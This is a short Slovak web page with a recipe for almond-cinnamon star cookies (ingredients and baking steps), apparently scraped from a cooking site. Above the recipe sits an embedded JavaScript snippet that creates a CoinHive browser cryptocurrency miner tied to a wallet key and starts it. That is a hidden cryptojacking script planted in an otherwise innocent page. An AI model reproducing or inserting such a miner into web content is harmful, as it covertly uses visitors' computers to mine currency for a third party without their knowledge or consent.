

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 500 g mandlí, 3 - 4 vaječné bielky, 400 g práškového cukru, 1/2 PL mletej škorice, 2 PL čerešňovice alebo citrónovej šťavy, cukor na posypanie dosky

Postup: Nelúpané mandle zomelieme. Bielky vyšľaháme na tuhý sneh a primiešame preosiaty práškový cukor. 1/3 tejto snehovej hmoty odložíme, zvyšok zmiešame s mandľami, škoricom a čerešňovicou (citrónovou šťavou). Cesto vyvaľkáme na pocukrovanej doske na hrúbku asi 1 cm. Vykrajujeme z neho hviezdičky, ktoré ukladáme na vymastený plech. Natrieme ich odloženou bielkovou polevou. Cez noc ich necháme schnúť. Potom rýchlo upečieme v predhriatej rúre tak, aby povrch zostal biely (cca 4-5 minút) pri teplote 200-225°C (cca 70 kusov).